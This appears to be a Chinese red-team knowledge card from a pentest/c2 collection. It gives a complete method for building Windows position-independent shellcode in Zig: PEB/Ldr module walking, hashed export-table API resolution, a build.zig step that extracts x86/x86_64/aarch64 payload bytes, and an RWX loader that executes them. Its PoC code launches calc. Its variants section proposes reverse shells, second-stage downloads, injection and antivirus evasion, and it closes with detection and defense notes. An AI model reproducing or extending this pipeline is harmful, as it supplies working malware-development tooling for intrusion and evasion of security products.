Zig 生成 Windows 位置无关 Shellcode:std.os.windows.peb + comptime API hash/导出表反射 + build.zig 从 DLL 的 go/goEnd 导出提取三架构字节
pentest/c2 · verified
一句话结论
用 Zig 0.11.0 可以把 Windows 位置无关 Shellcode 写成普通 Zig 代码:运行时经 std.os.windows.peb()→Ldr→模块链表拿到 DLL 基址,手工解析 PE 导出表并用编译期 comptime hashApi 做函数名 hash 匹配;构建时用 build.zig 把同一份代码编成导出 go/goEnd 的 DLL,再解析 DLL 导出表取两个符号之间的机器码,即可自动产出 x86/x86_64/aarch64 三架构、约 300 字节的 shellcode,最后用 VirtualAlloc+memcpy+函数指针的 loader 验证执行。
原理
- Windows shellcode 的通用自举链:TEB→PEB→
PEB_LDR_DATA→遍历已加载模块链表拿kernel32.dll等模块的DllBase,再解析该模块的 DOS/NT 头与导出表(AddressOfNames/AddressOfNameOrdinals/AddressOfFunctions),按函数名找到 RVA 并转 VA。整个过程不经过 IAT、不调用GetModuleHandle/GetProcAddress,适合无导入表、任意地址执行的位置无关代码。 - Zig 标准库已提供 PEB 入口
std.os.windows.peb();缺少的是LDR_DATA_TABLE_ENTRY和 PE 结构定义,需要按 Windows 结构手写(win32.zig)。 - 地址转换用泛型函数按返回类型分派:
rva2va(comptime T: type, base: *const anyopaque, rva: usize) T,@typeInfo(T)为.Pointer时@ptrFromInt,为.Int时要求usize并返回整数;否则@compileError。这样同一份代码既能返回结构体指针,也能返回函数地址整数。 - 为缩小体积并避免在 shellcode 中保留 API 名字符串,导出函数按 hash 比较:
zig
inline fn hashApi(api: []const u8) u32 {
var h: u32 = 0x6c6c6a62; // iv
for (api) |item| {
h = @addWithOverflow(@mulWithOverflow(31, h)[0], item | 0x20)[0]; // 大小写不敏感
}
return h;
}
这是 Java String.hashCode 的变体:初值 0x6c6c6a62,每字符 31*h + (c|0x20),|0x20 把字母转小写,从而对导出名大小写不敏感。
- API 表用带默认 null 的可选函数指针结构体声明:
zig
const apiAddr = struct {
WinExec: ?*const fn (lpCmdLine: [*c]u8, UINT: windows.UINT) callconv(windows.WINAPI) windows.UINT = null,
ExitProcess: ?*const fn (nExitCode: windows.LONG) callconv(windows.WINAPI) void = null,
fn ok(self: *Self) bool {
inline for (@typeInfo(apiAddr).Struct.fields) |field| {
if (@field(self, field.name) == null) return false;
}
return true;
}
};
ok() 用 @typeInfo(...).Struct.fields 编译期反射遍历所有成员,判断是否全部已填充;新增 API 只需加一个字段,解析逻辑自动覆盖。
- getApi:var peb = std.os.windows.peb(); var ldr = peb.Ldr; 从 ldr.InLoadOrderModuleList.Flink 取第一个 LDR_DATA_TABLE_ENTRY,while (dte.DllBase != null) 沿 InLoadOrderLinks.Flink 遍历,对每个模块调 findApi,apis.ok() 为真即停止。findApi 对每个模块:校验 DOS 头、e_lfanew 取 NT 头、读 OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress,为零则跳过;解析 IMAGE_EXPORT_DIRECTORY 的 NumberOfNames、AddressOfFunctions、AddressOfNames、AddressOfNameOrdinals;对每个名字算 hashApi,与 comptime hashApi(field.name) 比较,命中则 @field(r, field.name) = @ptrFromInt(adr_)。
- sliceTo([*c]u8) 从 C 字符串指针扫到 NUL 得到 Zig 切片,供 hash 使用;避免依赖 std.mem.len 之类可能引入额外代码的路径。
- 功能入口 pub export fn go() void:取 API 表,WinExec("calc", 0),ExitProcess(0);pub export fn goEnd() void {} 作为结束标记;pub fn main() 调 go() 便于直接运行测试。
- 构建/提取(这是本方法相对于纯 C 的关键工程化部分):
1. build.zig 用 b.addExecutable 为 x86、x86_64、aarch64 分别生成 test-<arch>(-windows-gnu)用于本地验证。
2. 另建 sc 步骤:b.addSharedLibrary 以 -windows-msvc、ReleaseSmall 编译同一 src/main.zig,得到导出 go/goEnd 的 DLL;GenShellCode.create 读取该 DLL,解析其导出表,取 go 与 goEnd 两个导出函数的 RVA/VA,把两者之间的字节(通常同在 .text、连续排列)抠出来写到 sc-<arch> 文件。由于 goEnd 紧跟 go,两个导出符号的地址差就是 shellcode 长度。
3. 用 zig build sc 一次生成三种架构;文章实测每个约 300 字节。
- loader.zig:读取 sc 文件 → win.VirtualAlloc(null, len, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) → @memcpy 到分配内存 → @as(*const fn() void, @ptrCast(@alignCast(ptr)))() 直接调用 → VirtualFree。文章用它验证 shellcode 正常弹出计算器。
- 为什么成立/边界:
- 提取的字节必须自包含、无绝对地址重定位:不能引用全局变量、字符串字面量或 .data/.rdata;Zig 代码中的常量和字符串要能内联到代码或被提取范围内,否则加载到任意地址会崩。
- go/goEnd 必须保持导出且不被优化掉/重排;ReleaseSmall 下要检查编译器是否把 goEnd 放到了 go 之后(通常按源码顺序,但需实测)。
- 生成的 shellcode 是架构相关的,loader 必须用同架构编译;x86 与 x64 的 PEB 读取方式由 std.os.windows.peb() 处理,aarch64 走对应寄存器。
- 该链规避的是导入表/API 名字符串检测,不规避对 WinExec 等最终调用的 EDR hook,也不隐藏 RWX 分配行为。
触发条件
- 需要为 Windows x86/x86_64/aarch64 生成位置无关 shellcode(红队 payload、漏洞利用载荷、CTF)。
- 具备 Zig 0.11.0 工具链,目标代码不依赖 CRT、全局变量或绝对地址数据。
- 能接受
PAGE_EXECUTE_READWRITE分配并直接调用(或被注入进程允许 RWX/可执行内存)。 - 目标模块(kernel32/ntdll 等)在 PEB 链表中可见,导出表未被剥离(系统 DLL 正常)。
- 若用于真实目标,需考虑 EDR 对 PEB 遍历、API hash 常量、RWX 分配与直接调用的检测。
利用步骤
- 按
win32.zig补齐LDR_DATA_TABLE_ENTRY、IMAGE_DOS_HEADER、IMAGE_NT_HEADERS、IMAGE_EXPORT_DIRECTORY等结构,使用std.os.windows.peb()取 PEB。 - 实现
rva2va、hashApi、sliceTo;声明apiAddr结构并实现ok()/getApi()/findApi()。 - 写
go():解析所需 API(如WinExec、ExitProcess),执行目标功能;goEnd()空函数紧随其后;main()调go()便于本机测试。 - 在
build.zig中加sc步骤:为三种架构编译导出go/goEnd的ReleaseSmallDLL,GenShellCode解析 DLL 导出表并提取两符号之间的字节,输出sc-<arch>。 - 用
loader.zig:VirtualAllocRWX、复制 shellcode、函数指针调用,验证是否弹出计算器/执行命令;按架构选择对应 loader。 - 若提取后崩溃:检查是否引用了全局/只读数据、
goEnd是否在go之后、编译器是否插入重定位/跳板;必要时把数据改为栈上构造或内联常量。
PoC
核心运行时(节选,完整结构定义见原文仓库):
fn getApi(apis: *apiAddr) bool {
var peb = std.os.windows.peb();
var ldr = peb.Ldr;
var dte: *win32.LDR_DATA_TABLE_ENTRY = @ptrCast(ldr.InLoadOrderModuleList.Flink);
while (dte.DllBase != null) : ({
dte = @ptrCast(dte.InLoadOrderLinks.Flink);
}) {
findApi(apis, dte.DllBase.?);
if (apis.ok()) return true;
}
return false;
}
pub export fn go() void {
var apis = apiAddr{};
if (!getApi(&apis)) return;
var cmdline = "calc".*;
_ = apis.WinExec.?(&cmdline, 0);
apis.ExitProcess.?(0);
}
pub export fn goEnd() void {}
build.zig 中 sc 步骤的要点:
const sc = b.step("sc", "Build ReleaseSmall shellcode");
inline for (&.{ "x86", "x86_64", "aarch64" }) |arch| {
const dll = b.addSharedLibrary(.{
.name = "sc-" ++ arch,
.root_source_file = .{ .path = "src/main.zig" },
.target = std.zig.CrossTarget.parse(.{ .arch_os_abi = arch ++ "-windows-msvc" }) catch unreachable,
.optimize = .ReleaseSmall,
});
const install = b.addInstallArtifact(dll, .{});
const c = GenShellCode.create(b, install); // 读 DLL 导出表,取 go/goEnd 之间字节
sc.dependOn(&c.step);
}
loader(节选):
var ptr = try win.VirtualAlloc(null, data.len, win.MEM_COMMIT | win.MEM_RESERVE, win.PAGE_EXECUTE_READWRITE);
defer win.VirtualFree(ptr, 0, win.MEM_RELEASE);
var buf: [*c]u8 = @ptrCast(ptr);
@memcpy(buf[0..data.len], data);
@as(*const fn () void, @ptrCast(@alignCast(ptr)))();
zig build sc 生成三架构 shellcode(约 300 字节),zig build loader 生成测试 loader,运行后弹出计算器即验证通过。
变体与关联
- 运行时骨架与
pentest/c2下「PEB/Ldr 动态解析 API」「IAT 彻底隐身:PEB/Ldr + 导出表 + 函数名 Hash」「PIC Shellcode 开发:.text 自包含 + PEB/EAT」相同;本卡差异是 Zig 实现 + comptime/@typeInfo 编译期反射 + build.zig 从 DLL 导出符号提取三架构 shellcode 的完整工程化流水线。 - 提取方式变体:C 语言可用
/ENTRY+ 只保留.text后 dump;Zig 这里用go/goEnd导出符号定界,更适合多架构自动化;也可以用 objcopy/自定义 linker script。 - 载荷变体:把
WinExec("calc")换成反弹 shell、下载二阶段、注入/内存马;API 表按需增加LoadLibraryA/GetProcAddress/网络 API。 - 对抗变体:API hash 常量、函数名字符串、PEB 遍历特征都可能被静态查杀;可配合字符串加密、hash 随机化、间接系统调用等(见
pentest/c2其他 shellcode 免杀卡)。
检测与防御
- 检测:监控
VirtualAlloc/VirtualProtect产生 RWX 或 RX 后立即执行的调用链;监控线程起始地址不在任何模块映射内(shellcode 典型特征);静态扫描 PEB 遍历指令序列、0x6c6c6a62类 hash 常量、导出表解析代码;对异常WinExec/CreateProcess调用与父子进程关系告警。 - 防御:启用 DEP/CFG/ACG(禁止动态代码);EDR 对
VirtualAllocRWX、SetThreadContext、CreateRemoteThread做行为拦截;限制可写可执行内存;对 API 调用做用户态 hook 与 ETW 监控。 - 开发侧:该技术用于授权红队/CTF 时,应在隔离环境测试,避免把 shellcode 与 loader 落到生产主机。